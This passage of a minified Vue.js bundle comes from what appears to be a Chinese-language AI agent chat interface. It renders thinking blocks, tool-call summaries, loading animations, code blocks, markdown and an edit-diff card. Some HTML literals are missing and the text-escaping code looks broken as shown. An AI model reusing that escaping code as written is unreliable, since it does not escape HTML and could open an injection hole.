0:De.tool)!=null&&se.result?"R":"-"}`:(De==null?void 0:De.type)==="thinking"?`H:${De!=null&&De.streaming?"S":"-"}${Math.floor((((ce=De==null?void 0:De.content)==null?void 0:ce.length)||0)/48)}`:"?"}).join(",");return`${X.length}|${J}|${he}|${C.value}|${be}`},()=>{ft(()=>{K(),le()})}),Xe(()=>t.expandedBlocks?t.expandedBlocks.size:0,()=>le()),Xe(a,()=>le()),(X,J)=>(F(),$("div",{class:ke(["stacked-shell",{"stacked-shell--single":T.value,"stacked-shell--not-ready":!y.value,"stacked-shell--no-borders":a.value}]),ref_key:"shell",ref:l,style:Ke({height:`${p.value}px`,paddingTop:C.value?`${m.value}px`:"0px"})},[E("div",{class:ke(["stacked-more-block",{visible:C.value}]),ref_key:"moreBlock",ref:h,style:Ke({height:`${C.value?m.value:0}px`}),onClick:N},[J[0]||(J[0]=E("img",{class:"more-icon",src:G3,alt:"展开"},null,-1)),E("div",q3,[E("span",K3,ae(M.value),1),E("span",Q3,ae(R.value),1)])],6),E("div",{class:"stacked-viewport",style:Ke({height:`${g.value}px`})},[Qe(Vv,{name:"stacked",tag:"div",class:"stacked-inner",ref_key:"inner",ref:u,style:Ke({transform:`translateY(${v.value}px)`}),appear:k.value,css:k.value},{default:Vt(()=>[(F(!0),$(Ie,null,tt(w.value,(he,be)=>(F(),$("div",{key:P(he,be),class:"stacked-item"},[he.type==="thinking"?(F(),$("div",{key:0,class:ke(["collapsible-block thinking-block stacked-block",{expanded:L(he,be),processing:he.streaming}]),"data-block-id":P(he,be)},[E("div",{class:"collapsible-header",onClick:Re=>O(P(he,be))},[J[1]||(J[1]=E("div",{class:"arrow"},null,-1)),E("div",J3,[E("span",{class:ke(["thinking-icon",{"thinking-animation":he.streaming}])},[E("span",{class:"icon icon-sm",style:Ke(s.iconStyle("brain")),"aria-hidden":"true"},null,4)],2)]),E("span",Z3,ae(he.streaming?"正在思考...":"思考过程"),1)],8,Y3),E("div",{class:"collapsible-content",style:Ke(Q(P(he,be)))},[E("div",{class:"content-inner thinking-content",ref_for:!0,ref:Re=>H(P(he,be),Re),onScroll:Re=>G(P(he,be),Re),style:{"max-height":"240px","overflow-y":"auto"}},ae(he.content),41,e5)],4)],10,X3)):he.type==="tool"?(F(),$("div",{key:1,class:ke(["collapsible-block tool-block stacked-block",{expanded:L(he,be),processing:W(he),completed:V(he)}]),"data-block-id":P(he,be)},[E("div",{class:"collapsible-header",onClick:Re=>O(P(he,be))},[J[2]||(J[2]=E("div",{class:"arrow"},null,-1)),E("div",n5,[E("span",{class:ke(["tool-icon icon icon-md",s.getToolAnimationClass(he.tool)]),style:Ke(s.iconStyle(s.getToolIcon(he.tool))),"aria-hidden":"true"},null,6)]),E("span",i5,ae(s.getToolStatusText(he.tool)),1),E("span",r5,ae(s.getToolDescription(he.tool)),1)],8,s5),E("div",{class:"collapsible-content",style:Ke(Q(P(he,be)))},[E("div",o5,[E("div",{innerHTML:c(he)},null,8,a5)])],4),W(he)?(F(),$("div",l5)):ge("",!0)],10,t5)):ge("",!0)]))),128))]),_:1},8,["style","appear","css"])],4)],6))}}),d5=Qt(h5,[["__scopeId","data-v-be07323d"]]),f5={class:"square-grid-loader"},p5=at({__name:"SquareGridLoader",setup(s){return(e,t)=>(F(),$("div",f5,[...t[0]||(t[0]=[mi('
',9)])]))}}),g5=Qt(p5,[["__scopeId","data-v-afc6b5c3"]]),m5={class:"rotating-squares-loader"},v5=at({__name:"RotatingSquaresLoader",setup(s){return(e,t)=>(F(),$("div",m5,[...t[0]||(t[0]=[mi('
',7)])]))}}),y5=Qt(v5,[["__scopeId","data-v-db47acef"]]),b5={class:"dual-chase-loader"},_5=at({__name:"DualChaseLoader",setup(s){return(e,t)=>(F(),$("div",b5))}}),S5=Qt(_5,[["__scopeId","data-v-337256ff"]]),w5={class:"bouncing-squares-loader"},k5=at({__name:"BouncingSquaresLoader",setup(s){return(e,t)=>(F(),$("div",w5,[...t[0]||(t[0]=[E("div",{class:"square"},null,-1),E("div",{class:"square"},null,-1),E("div",{class:"square"},null,-1)])]))}}),C5=Qt(k5,[["__scopeId","data-v-502bc545"]]),T5={class:"five-squares-loader"},A5=at({__name:"FiveSquaresLoader",setup(s){return(e,t)=>(F(),$("div",T5,[...t[0]||(t[0]=[mi('
',5)])]))}}),E5=Qt(A5,[["__scopeId","data-v-4ffc5a36"]]),M5={class:"nine-grid-loader"},x5=at({__name:"NineGridLoader",setup(s){return(e,t)=>(F(),$("div",M5,[...t[0]||(t[0]=[mi('
',9)])]))}}),I5=Qt(x5,[["__scopeId","data-v-62be6033"]]),R5={class:"ripple-loader"},L5=at({__name:"RippleLoader",setup(s){return(e,t)=>(F(),$("div",R5,[...t[0]||(t[0]=[mi('
',9)])]))}}),P5=Qt(L5,[["__scopeId","data-v-e8d9f3ef"]]),O5={class:"newton-loader"},D5=at({__name:"NewtonCradleSquaresLoader",setup(s){return(e,t)=>(F(),$("div",O5,[...t[0]||(t[0]=[E("div",{class:"dot"},null,-1),E("div",{class:"dot"},null,-1),E("div",{class:"dot"},null,-1),E("div",{class:"dot"},null,-1)])]))}}),N5=Qt(D5,[["__scopeId","data-v-4316d9b8"]]),B5={class:"dot-spinner-loader"},F5=at({__name:"DotSpinnerSquaresLoader",setup(s){return(e,t)=>(F(),$("div",B5,[...t[0]||(t[0]=[mi('
',8)])]))}}),$5=Qt(F5,[["__scopeId","data-v-89be96b5"]]),H5={class:"orbit-loader"},U5=at({__name:"OrbitBlurSquaresLoader",setup(s){return(e,t)=>(F(),$("div",H5,[...t[0]||(t[0]=[mi('
',5)])]))}}),W5=Qt(U5,[["__scopeId","data-v-19a87dd3"]]),z5={class:"shadow-rolling-loader"},j5=at({__name:"ShadowRollingSquaresLoader",setup(s){return(e,t)=>(F(),$("div",z5))}}),V5=Qt(j5,[["__scopeId","data-v-0934be8f"]]),G5={class:"jumping-seq-loader"},q5=at({__name:"JumpingSequenceSquaresLoader",setup(s){return(e,t)=>(F(),$("div",G5,[...t[0]||(t[0]=[mi('
',5)])]))}}),K5=Qt(q5,[["__scopeId","data-v-bb2c052b"]]),Q5={class:"chaotic-orbit-loader"},X5=at({__name:"ChaoticOrbitSquaresLoader",setup(s){return(e,t)=>(F(),$("div",Q5))}}),Y5=Qt(X5,[["__scopeId","data-v-c29a198e"]]),J5={class:"leap-frog-loader"},Z5=at({__name:"LeapFrogSquaresLoader",setup(s){return(e,t)=>(F(),$("div",J5,[...t[0]||(t[0]=[E("div",{class:"dot"},null,-1),E("div",{class:"dot"},null,-1),E("div",{class:"dot"},null,-1)])]))}}),e4=Qt(Z5,[["__scopeId","data-v-2e407c57"]]),t4={class:"wave-matrix-loader"},s4=at({__name:"WaveMatrixSquaresLoader",setup(s){return(e,t)=>(F(),$("div",t4,[...t[0]||(t[0]=[E("div",{class:"sq"},null,-1),E("div",{class:"sq"},null,-1),E("div",{class:"sq"},null,-1),E("div",{class:"sq"},null,-1)])]))}}),n4=Qt(s4,[["__scopeId","data-v-c583d74c"]]),i4={class:"follow-track-loader"},r4=at({__name:"FollowTrackSquaresLoader",setup(s){return(e,t)=>(F(),$("div",i4,[...t[0]||(t[0]=[mi('
',5)])]))}}),o4=Qt(r4,[["__scopeId","data-v-091a0000"]]),a4={class:"four-corner-loader"},l4=at({__name:"FourCornerCycleSquaresLoader",setup(s){return(e,t)=>(F(),$("div",a4,[...t[0]||(t[0]=[E("div",{class:"sq"},null,-1),E("div",{class:"sq"},null,-1),E("div",{class:"sq"},null,-1),E("div",{class:"sq"},null,-1)])]))}}),c4=Qt(l4,[["__scopeId","data-v-3a59d23d"]]),jM=[g5,y5,S5,C5,E5,I5,P5,N5,$5,W5,V5,K5,Y5,e4,n4,o4,c4],u4=4,Vf=[],h4=s=>{const e=Math.floor(Math.random()*s.length);return s[e]};function Yk(){const s=jM.length;if(s===0)throw new Error("loaderPool 不能为空");const e=Math.max(0,Math.min(u4,s-1));let t=Array.from({length:s},(r,o)=>o);if(e>0&&Vf.length>0){const r=new Set(Vf.slice(-e)),o=t.filter(a=>!r.has(a));o.length>0&&(t=o)}const n=h4(t);Vf.push(n);const i=Math.max(s*2,e+1);return Vf.length>i&&Vf.splice(0,Vf.length-i),jM[n]}const d4=["data-streaming"],f4={class:"code-block-header"},p4={class:"code-language"},g4=at({name:"CodeBlock",__name:"CodeBlock",props:{content:{},language:{},isStreaming:{type:Boolean}},setup(s){const e=s,t=pe(null),n=pe(!1),i=ye(()=>e.language||"text"),r=ye(()=>!e.language||e.language==="text"?"language-plain":`language-${e.language}`);function o(){ft(()=>{if(!(!t.value||typeof vw>"u"))try{vw.highlightElement(t.value)}catch(c){console.warn("代码高亮失败:",c)}})}Xe(()=>e.content,o,{immediate:!0}),Cn(o);async function a(c){if(c.stopPropagation(),!(n.value||!e.content))try{await navigator.clipboard.writeText(e.content),n.value=!0,window.setTimeout(()=>{n.value=!1},5e3)}catch(l){console.warn("复制失败:",l)}}return(c,l)=>(F(),$("div",{class:"code-block-wrapper","data-streaming":s.isStreaming?"1":void 0,"data-md-code-block":"1"},[E("div",f4,[E("span",p4,ae(i.value),1),E("button",{class:ke(["copy-code-btn",{copied:n.value}]),title:"复制代码","aria-label":"复制代码",onClick:a},null,2)]),E("pre",null,[E("code",{ref_key:"codeEl",ref:t,class:ke(r.value)},ae(s.content),3)])],8,d4))}});function m4(s){if(!s)return[];if(typeof document>"u")return[{key:"c0",html:s}];const e=document.createElement("template");e.innerHTML=s;const t=[];for(const n of Array.from(e.content.childNodes)){if(n.nodeType===Node.TEXT_NODE){const i=n.textContent||"";if(!i.trim())continue;t.push({key:`c${t.length}`,html:i.replace(/&/g,"&").replace(//g,">")});continue}n.nodeType===Node.ELEMENT_NODE&&t.push({key:`c${t.length}`,html:n.outerHTML})}return t}const v4={key:0,class:"markdown-text-segment"},y4=["innerHTML"],b4=40,_4=at({name:"MarkdownRenderer",__name:"MarkdownRenderer",props:{content:{},isStreaming:{type:Boolean}},setup(s){const e=s,t=pe(null),n=y2("mathRenderedCallback",()=>{}),i=ye(()=>NF(e.content||"",e.isStreaming));function r(l){return FF(l,e.isStreaming)}const o=new Map;function a(l){const u=o.get(l.key);if(u&&u.content===l.content)return u.chunks;const h=m4(r(l.content));if(o.set(l.key,{content:l.content,chunks:h}),o.size>b4){const d=o.keys().next().value;d!==void 0&&o.delete(d)}return h}function c(){ft(()=>{t.value&&(BF(t.value),n())})}return Cn(c),S2(c),Xe(()=>e.content,c,{immediate:!0}),(l,u)=>(F(),$("div",{ref_key:"containerRef",ref:t,class:"markdown-renderer"},[(F(!0),$(Ie,null,tt(i.value,h=>(F(),$(Ie,{key:h.key},[h.type==="text"?(F(),$("div",v4,[(F(!0),$(Ie,null,tt(a(h),d=>(F(),$("div",{key:d.key,class:"md-html-chunk",innerHTML:d.html},null,8,y4))),128))])):(F(),Wt(g4,{key:1,content:h.content,language:h.language,"is-streaming":!h.closed},null,8,["content","language","is-streaming"]))],64))),128))],512))}}),xm=Qt(_4,[["__scopeId","data-v-8e651a8a"]]),S4={class:"minimal-blocks-container"},w4={key:0,class:"summary-group"},k4=["data-group-id","onClick"],C4={class:"summary-content-wrapper"},T4={class:"summary-preview"},A4={key:0,class:"summary-tool-reel-window"},E4={class:"summary-status-icon"},M4={key:0,class:"summary-icon-inner"},x4={key:1,class:"check-icon",width:"18",height:"18",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-width":"2"},I4={class:"step-timeline"},R4={class:"step-content"},L4={key:0,class:"step-body"},P4=["onScroll","innerHTML"],O4={key:1,class:"step-body"},D4={class:"step-header"},N4={key:0,class:"tool-intent"},B4={key:1,class:"tool-result"},F4=["innerHTML"],$4={key:2,class:"tool-result"},H4={key:2,class:"summary-group sub-agent-system-group"},U4={class:"summary-line-text sub-agent-system-summary-line"},W4={class:"summary-content-wrapper"},z4={class:"summary-preview"},j4=20,Jk=26,V4=1450,Zk=520,VM=170,GM=2,G4=at({__name:"MinimalBlocks",props:{actions:{},conversationRunning:{type:Boolean},isLatestMessage:{type:Boolean},iconStyle:{type:Function},getToolIcon:{type:Function},getToolStatusText:{type:Function},getToolDescription:{type:Function},formatSearchTopic:{type:Function},formatSearchTime:{type:Function},formatSearchDomains:{type:Function},registerThinkingRef:{type:Function},handleThinkingScroll:{type:Function}},emits:["group-toggle"],setup(s,{emit:e}){const t=qs(),n=ye(()=>t.form.minimal_expand_height_limited),i=s,r=e,o=pe(new Set),a=new Map,c=new Map,l=new Map,u=new Map,h=mw({}),d=new Map,p=new Map,m=se=>Array.from(se||""),v=se=>{const ce=typeof se=="string"?se:"",de=ce.indexOf(` +`);return de>0?ce.substring(0,de):ce},g=se=>{const ce=se.tool;if(!ce)return"";const de=t.form.tool_intent_enabled,we=ce.intent_rendered||ce.intent_full||"";return de&&we?v(we):ce.status==="preparing"?`准备调用 ${ce.name||"工具"}...`:ce.status==="running"?`正在调用 ${ce.name||"工具"}...`:ce.status==="completed"?ce.display_name||ce.name||"工具执行完成":se.streaming?"正在执行工具...":ce.display_name||ce.name||"执行工具"},y=se=>{var de;if(se.type!=="tool")return!1;if(se.streaming)return!0;const ce=String(((de=se.tool)==null?void 0:de.status)||"").toLowerCase();return["hinted","preparing","running","pending","pending_approval","awaiting_approval","awaiting_user_answer"].includes(ce)},b=se=>{let ce=-1;for(let we=se.length-1;we>=0;we--){if(se[we].type==="tool"){ce=we;break}if(se[we].type==="thinking")break}if(ce<0)return[];let de=ce;for(;de>0&&se[de-1].type==="tool";)de--;return se.slice(de,ce+1)},_=se=>{const ce=b(se);return ce.some(y)?ce:[]},w=se=>_(se).map(g).filter(ce=>ce.trim().length>0),S=(se,ce)=>{var Le;const de=(Le=h[ce])!=null&&Le.completing?h[ce].items:null;if(de!=null&&de.length)return de;const we=w(se);return we.length>0?[...we,we[0]]:[]},C=(se,ce)=>{var de;return!!((de=h[ce])!=null&&de.completing)||ve(se,ce)&&w(se).length>1},T=(se,ce)=>{var de;return ve(se,ce)||!!((de=h[ce])!=null&&de.completing)},k=se=>{var ce;return((ce=h[se])==null?void 0:ce.phase)||"idle"},A=se=>{var ce;return{transform:`translateY(${((ce=h[se])==null?void 0:ce.offsetPx)||0}px)`}},M=se=>{const ce=d.get(se);ce&&(window.clearInterval(ce),d.delete(se)),(p.get(se)||[]).forEach(we=>window.clearTimeout(we)),p.delete(se)},R=(se,ce)=>{const de=p.get(se)||[];de.push(ce),p.set(se,de)},P=(se,ce)=>{const de=h[se];if(!de||de.completing||ce<2)return;const we=(de.index+1)%ce,He=-(we===0?ce:we)*Jk;de.phase="rolling",de.offsetPx=He-GM;const yt=window.setTimeout(()=>{if(de.phase="settle",de.offsetPx=He,de.index=we,we===0){const At=window.setTimeout(()=>{de.phase="idle",de.offsetPx=0},VM);R(se,At)}},Zk);R(se,yt)},L=(se,ce)=>{const de=h[se];if(!de||de.completing)return;const we=de.items.length>1?de.items:b(ce).map(g).filter(At=>At.trim().length>0);if(we.length<2){M(se),delete h[se];return}M(se),de.items=we,de.signature=we.join(""),de.completing=!0;const Le=we.length-1,He=-de.index*Jk,yt=-Le*Jk;de.phase="idle",de.offsetPx=He,window.requestAnimationFrame(()=>{de.phase="rolling",de.offsetPx=yt-GM;const At=window.setTimeout(()=>{de.phase="settle",de.offsetPx=yt,de.index=Le},Zk);R(se,At);const Nt=window.setTimeout(()=>{M(se),delete h[se]},Zk+VM+260);R(se,Nt)})},z=()=>{const se=new Set;W.value.forEach(ce=>{if(ce.type!=="summary"||!ce.actions||!C(ce.actions,ce.id))return;const de=w(ce.actions),we=de.join("");if(se.add(ce.id),!h[ce.id]||h[ce.id].signature!==we?(M(ce.id),h[ce.id]={index:0,offsetPx:0,phase:"idle",signature:we,items:de}):h[ce.id].items=de,!d.has(ce.id)){const Le=window.setInterval(()=>P(ce.id,de.length),V4);d.set(ce.id,Le)}}),Object.keys(h).forEach(ce=>{if(!se.has(ce)){const de=W.value.find(we=>we.id===ce);if((de==null?void 0:de.type)==="summary"&&de.actions&&!h[ce].completing){se.add(ce),L(ce,de.actions);return}h[ce].completing||(M(ce),delete h[ce])}})},Q=se=>{const ce=W.value.find(Nt=>Nt.id===se);if(!ce||!ce.actions)return Yk();const we=ce.actions.find(Nt=>Nt.streaming)||ce.actions[ce.actions.length-1];if(!we)return Yk();const Le=ce.actions.indexOf(we);let He=-1;for(let Nt=Le-1;Nt>=0;Nt--)if(ce.actions[Nt].type!==we.type){He=Nt;break}const yt=He>=0?`${ce.actions[He].id}-${we.type}`:`start-${we.type}`,At=`${se}-${yt}`;return u.has(At)||u.set(At,Yk()),u.get(At)},W=ye(()=>{const se=[];let ce=[],de=0;if(i.actions.forEach((we,Le)=>{if(we.type==="thinking"||we.type==="tool")ce.push(we);else if(we.type==="text"||we.type==="system"){if(ce.length>0){const He=ce[0].id||ce[0].blockId||`summary-${de}`;se.push({type:"summary",id:`summary-${He}`,actions:ce}),de++,ce=[]}if(we.type==="text"){const He=typeof we.content=="string"?we.content:"";if(!He.trim())return;se.push({type:"text",id:`text-${Le}`,content:He,streaming:we.streaming})}else se.push({type:"system",id:`system-${Le}`,content:we.content})}}),ce.length>0){const we=ce[0].id||ce[0].blockId||`summary-${de}`;se.push({type:"summary",id:`summary-${we}`,actions:ce})}return se}),V={read_file:"read",read_skill:"read",vlm_analyze:"read",view_image:"read",view_video:"read",run_command:"command",terminal_session:"command",terminal_input:"command",terminal_snapshot:"command",create_file:"edit",write_file:"edit",edit_file:"edit",delete_file:"edit",rename_file:"edit",create_folder:"edit",web_search:"search",extract_webpage:"webpage",save_webpage:"webpage",list_mcp_servers:"mcp",activate_workflow:"workflow_activate",report_workflow_stage:"workflow_advance",choose_workflow_branch:"workflow_advance",get_workflow_status:"workflow",deactivate_workflow:"workflow",list_workflows:"workflow",save_workflow:"workflow",todo_create:"todo_create",todo_update_task:"todo_update",update_memory:"memory_update",update_project_memory:"memory_update",recall_project_memory:"memory_read",search_project_memory:"memory_read",conversation_search:"conversation",conversation_review:"conversation",create_sub_agent:"sub_agent",close_sub_agent:"sub_agent_manage",terminate_sub_agent:"sub_agent_manage",get_sub_agent_status:"sub_agent_manage",sleep:"wait",ask_user:"ask",submit_plan:"plan",create_skill:"skill",manage_personalization:"settings",trigger_easter_egg:"easter_egg"},N={read:se=>`读取了 ${se} 个文件`,command:se=>`运行了 ${se} 个指令`,edit:se=>`编辑了 ${se} 次文件`,search:se=>`搜索了 ${se} 次`,webpage:se=>`查看了 ${se} 次网页`,mcp:se=>`执行了 ${se} 次 MCP 工具`,workflow_activate:se=>`激活了 ${se} 个工作流`,workflow_advance:se=>`推进了 ${se} 次工作流进度`,workflow:se=>`执行了 ${se} 次工作流操作`,todo_create:se=>`创建了 ${se} 次待办`,todo_update:se=>`更新了 ${se} 次待办`,memory_update:se=>`更新了 ${se} 次记忆`,memory_read:se=>`查看了 ${se} 次记忆`,conversation:se=>`回顾了 ${se} 次对话`,sub_agent:se=>`创建了 ${se} 个子智能体`,sub_agent_manage:se=>`管理了 ${se} 次子智能体`,wait:se=>`等待了 ${se} 次`,ask:se=>`询问了 ${se} 次`,plan:se=>`提交了 ${se} 次计划`,skill:se=>`归档了 ${se} 次技能`,settings:se=>`更新了 ${se} 次个性化设置`,easter_egg:se=>`触发了 ${se} 次彩蛋`,other:se=>`执行了 ${se} 次其他操作`},O=["read","command","edit","search","webpage","mcp","workflow_activate","workflow_advance","workflow","todo_create","todo_update","memory_update","memory_read","conversation","sub_agent","sub_agent_manage","wait","ask","plan","skill","settings","easter_egg","other"],H=se=>{var de;const ce=(de=se.tool)==null?void 0:de.name;return typeof ce!="string"?"other":ce.startsWith("mcp__")?"mcp":V[ce]||"other"},G=se=>{const ce=se.filter(we=>we.streaming);let de;if(ce.length>0)de=ce[ce.length-1];else{const we=se.filter(Le=>Le.type==="tool");we.length>0?de=we[we.length-1]:de=se[se.length-1]}if(!de)return"";if(de.type==="thinking"){const we=de.content||"";return v(we)}if(de.type==="tool"){const we=de.tool;if(!we)return"";const Le=t.form.tool_intent_enabled,He=we.intent_rendered||we.intent_full||"";return Le&&He?v(He):we.status==="preparing"?`准备调用 ${we.name||"工具"}...`:we.status==="running"?`正在调用 ${we.name||"工具"}...`:we.status==="completed"?we.display_name||we.name||"工具执行完成":de.streaming?"正在执行工具...":we.display_name||we.name||"执行工具"}return""},ee=se=>{const ce=se.filter(Le=>Le.type==="tool");if(ce.length===0){const Le=se.filter(He=>He.type==="thinking").pop();return Le?v(Le.content||""):""}if(ce.length===1)return g(ce[0]);const de=Object.fromEntries(O.map(Le=>[Le,0]));ce.forEach(Le=>{de[H(Le)]++});const we=[];return O.forEach(Le=>{const He=de[Le];He>0&&we.push(N[Le](He))}),we.join(",")},ie=(se,ce)=>ve(se,ce)?G(se):ee(se),ve=(se,ce)=>{if(!i.conversationRunning||!i.isLatestMessage)return!1;const de=W.value.findIndex(Le=>Le.id===ce);return de===-1?!1:!W.value.slice(de+1).some(Le=>Le.type==="text")},le=se=>se.map((ce,de)=>({id:ce.id||ce.blockId||`step-${de}`,type:ce.type,content:ce.content||"",streaming:ce.streaming||!1,action:ce})),oe=se=>se.scrollHeight-se.scrollTop-se.clientHeight<=j4,I=(se,ce)=>{const de=ce.target;if(!de)return;const we=!oe(de);l.set(se,we)},K=(se,ce)=>{const de=c.get(se);de&&de.removeEventListener("scroll",I),ce instanceof HTMLElement?(c.set(se,ce),ce.addEventListener("scroll",we=>I(se,we))):(c.delete(se),l.delete(se))},X=se=>{const ce=c.get(se);ce&&!l.get(se)&&(ce.scrollTop=ce.scrollHeight)},J=se=>{o.value.has(se)?(o.value.delete(se),r("group-toggle",{groupId:se,expanded:!1}),ft(()=>{const ce=W.value.find(de=>de.id===se);ce&&ce.actions&&ce.actions.forEach(de=>{if(de.type==="thinking"){const we=de.id||de.blockId;we&&typeof i.registerThinkingRef=="function"&&i.registerThinkingRef(we,null)}})})):(o.value.add(se),r("group-toggle",{groupId:se,expanded:!0}),ft(()=>{const ce=W.value.find(de=>de.id===se);ce&&ce.actions&&(l.set(se,!1),ve(ce.actions,se)&&X(se),ce.actions.forEach(de=>{if(de.type==="thinking"){const we=de.id||de.blockId;if(we){const Le=a.get(we);Le&&typeof i.registerThinkingRef=="function"&&(i.registerThinkingRef(we,Le),de.streaming&&(Le.scrollTop=Le.scrollHeight))}}}))}))},he=se=>{if(se.type==="thinking")return i.iconStyle?i.iconStyle("brain"):{};if(se.type==="tool"&&se.action.tool){const ce=i.getToolIcon?i.getToolIcon(se.action.tool):"terminal";return i.iconStyle?i.iconStyle(ce):{}}return i.iconStyle?i.iconStyle("terminal"):{}},be=se=>{const ce=se.tool;if(!ce)return"执行工具";const de=t.form.tool_intent_enabled,we=ce.intent_rendered||ce.intent_full||"";return de&&we?we:ce.status==="preparing"?`准备调用 ${ce.name||"工具"}...`:ce.status==="running"?`正在调用 ${ce.name||"工具"}...`:ce.status==="completed"?"工具执行完成":ce.name||"执行工具"},Re=se=>{var ce;return((ce=se.tool)==null?void 0:ce.intent)||""},rt=se=>{var we;const ce=hE(se,i.formatSearchTopic||(()=>""),i.formatSearchTime||(()=>""),i.formatSearchDomains||(()=>""));if(ce)return ce;const de=(we=se.tool)==null?void 0:we.result;return de?typeof de=="string"?`
${et(de)}
`:`
${et(JSON.stringify(de,null,2))}
`:'
执行中...
'},st=se=>se?et(se).replace(/\n/g,"
"):"",et=se=>{const ce=document.createElement("div");return ce.textContent=se,ce.innerHTML},De=(se,ce)=>{ce instanceof HTMLElement?a.set(se,ce):a.delete(se);const de=W.value.find(we=>we.type==="summary"&&we.actions&&we.actions.some(Le=>Le.id===se||Le.blockId===se));de&&o.value.has(de.id)&&typeof i.registerThinkingRef=="function"&&i.registerThinkingRef(se,ce)},xe=(se,ce)=>{typeof i.handleThinkingScroll=="function"&&i.handleThinkingScroll(se,ce)};return Xe(()=>i.actions,()=>{z(),ft(()=>{W.value.forEach(se=>{se.type==="summary"&&se.actions&&o.value.has(se.id)&&ve(se.actions,se.id)&&X(se.id)})})},{deep:!0,immediate:!0}),Xe(()=>[i.conversationRunning,i.isLatestMessage],()=>{z()}),xn(()=>{Object.keys(h).forEach(M),c.forEach(se=>{se.removeEventListener("scroll",I)}),c.clear(),l.clear()}),(se,ce)=>(F(),$("div",S4,[(F(!0),$(Ie,null,tt(W.value,de=>(F(),$(Ie,{key:de.id},[de.type==="summary"&&de.actions?(F(),$("div",w4,[E("div",{class:ke(["summary-line-text",{running:ve(de.actions,de.id)}]),"data-group-id":de.id,onClick:we=>J(de.id)},[E("div",C4,[E("span",T4,[T(de.actions,de.id)?(F(),$(Ie,{key:0},[C(de.actions,de.id)?(F(),$("span",A4,[E("span",{class:ke(["summary-tool-reel-track",k(de.id)]),style:Ke(A(de.id))},[(F(!0),$(Ie,null,tt(S(de.actions,de.id),(we,Le)=>(F(),$("span",{key:`${de.id}-tool-reel-${Le}-${we}`,class:"summary-tool-reel-item"},ae(we),1))),128))],6)])):(F(!0),$(Ie,{key:1},tt(m(ie(de.actions,de.id)),(we,Le)=>(F(),$("span",{key:`${de.id}-${Le}`,class:"summary-char",style:Ke({animationDelay:`${(Le+1)*.12}s`})},ae(we===" "?" ":we),5))),128))],64)):(F(),$(Ie,{key:1},[hn(ae(ie(de.actions,de.id)),1)],64))])]),E("div",E4,[ve(de.actions,de.id)?(F(),$("div",M4,[(F(),Wt(EF(Q(de.id))))])):(F(),$("svg",x4,[...ce[0]||(ce[0]=[E("circle",{cx:"12",cy:"12",r:"10"},null,-1),E("polyline",{points:"7.5 12 10.5 15 16.5 9"},null,-1)])]))])],10,k4),E("div",{class:ke(["steps-container",{show:o.value.has(de.id)}])},[E("div",{class:ke(["steps-wrapper",{"height-limited":n.value}]),ref_for:!0,ref:we=>K(de.id,we)},[(F(!0),$(Ie,null,tt(le(de.actions),we=>{var Le;return F(),$("div",{key:we.id,class:"step-item"},[E("div",I4,[E("span",{class:"step-icon icon icon-sm",style:Ke(he(we)),"aria-hidden":"true"},null,4),ce[1]||(ce[1]=E("div",{class:"step-line"},null,-1))]),E("div",R4,[we.type==="thinking"?(F(),$("div",L4,[E("div",{class:"thinking-content",ref_for:!0,ref:He=>De(we.id,He),onScroll:He=>xe(we.id,He),innerHTML:st(we.content)},null,40,P4)])):we.type==="tool"?(F(),$("div",O4,[E("div",D4,ae(be(we.action)),1),Re(we.action)?(F(),$("div",N4,ae(Re(we.action)),1)):ge("",!0),(Le=we.action.tool)!=null&&Le.result?(F(),$("div",B4,[E("div",{innerHTML:rt(we.action)},null,8,F4)])):(F(),$("div",$4,[...ce[2]||(ce[2]=[E("div",{class:"result-item"},"执行中...",-1)])]))])):ge("",!0)])])}),128))],2)],2)])):de.type==="text"?(F(),$("div",{key:1,class:ke(["text-output",{"streaming-text":de.streaming}])},[E("div",{class:ke(["text-content",{"streaming-text":de.streaming}])},[Qe(xm,{content:de.content||"","is-streaming":de.streaming},null,8,["content","is-streaming"])],2)],2)):de.type==="system"?(F(),$("div",H4,[E("div",U4,[E("div",W4,[E("span",z4,ae(de.content||""),1)]),ce[3]||(ce[3]=E("div",{class:"summary-status-icon"},[E("svg",{class:"check-icon",width:"18",height:"18",viewBox:"0 0 24 24",fill:"none",stroke:"currentColor","stroke-width":"2"},[E("circle",{cx:"12",cy:"12",r:"10"}),E("polyline",{points:"7.5 12 10.5 15 16.5 9"})])],-1))])])):ge("",!0)],64))),128))]))}}),q4=Qt(G4,[["__scopeId","data-v-203da854"]]),K4={class:"edit-summary-card__header"},Q4={class:"edit-summary-card__title"},X4={class:"edit-summary-card__totals"},Y4={class:"edit-summary-plus"},J4={class:"edit-summary-minus"},Z4={class:"edit-summary-card__list"},eH=["onMouseenter","onClick"],tH=["title"],sH={class:"edit-summary-card__delta"},nH={class:"edit-summary-plus"},iH={class:"edit-summary-minus"},rH={key:0,class:"es-modal"},oH=["aria-label"],aH={class:"es-modal__header"},lH=["title"],cH={class:"es-modal__delta"},uH={class:"edit-summary-plus"},hH={class:"edit-summary-minus"},dH={class:"es-modal__body"},fH={key:0,class:"es-diff-sep","aria-hidden":"true"},pH={class:"es-diff-line-number"},gH={class:"es-diff-marker"},mH={class:"es-diff-content"},vH={key:0,class:"es-diff-note"},yH={key:1,class:"es-diff-empty"},bH=720,Qo=16,qM=140,_H=.7,SH=640,wH=260,kH=at({__name:"EditSummaryCard",props:{summary:{},iconStyle:{type:Function}},setup(s){const e=s,t=Vs(),n=ye(()=>!!t.isMobileViewport),i=ye(()=>{var W;const Q=(W=e.summary)==null?void 0:W.files;return Array.isArray(Q)?Q.filter(V=>V&&V.path):[]}),r=ye(()=>{let Q=0,W=0;for(const V of i.value)Q+=Number(V.added)||0,W+=Number(V.removed)||0;return{added:Q,removed:W}}),o=pe(null),a=pe(!1),c=pe(null),l=pe(null),u=pe({});let h=null,d=null;const p=ye(()=>o.value&&i.value.find(Q=>Q.path===o.value)||null);function m(){if(n.value||!c.value||!l.value){u.value={};return}const Q=window.innerWidth,W=window.innerHeight,V=Math.min(bH,Q-Qo*2),N=c.value.getBoundingClientRect(),O=N.left+N.width/2,H=Math.min(Math.max(O-V/2,Qo),Q-V-Qo),G=Math.min(W*_H,SH),ee=l.value.getBoundingClientRect(),ie=ee.top-ee.height/2,ve=ee.bottom+ee.height/2,le=ie-Qo,oe=W-Qo-ve,I=le>=wH||le>=oe,K={left:`${Math.round(H)}px`,width:`${Math.round(V)}px`,transform:"none"};if(I){const X=Math.min(Math.max(ie,Qo+qM),W-Qo);u.value={...K,top:"auto",bottom:`${Math.round(W-X)}px`,maxHeight:`${Math.round(Math.min(X-Qo,G))}px`}}else{const 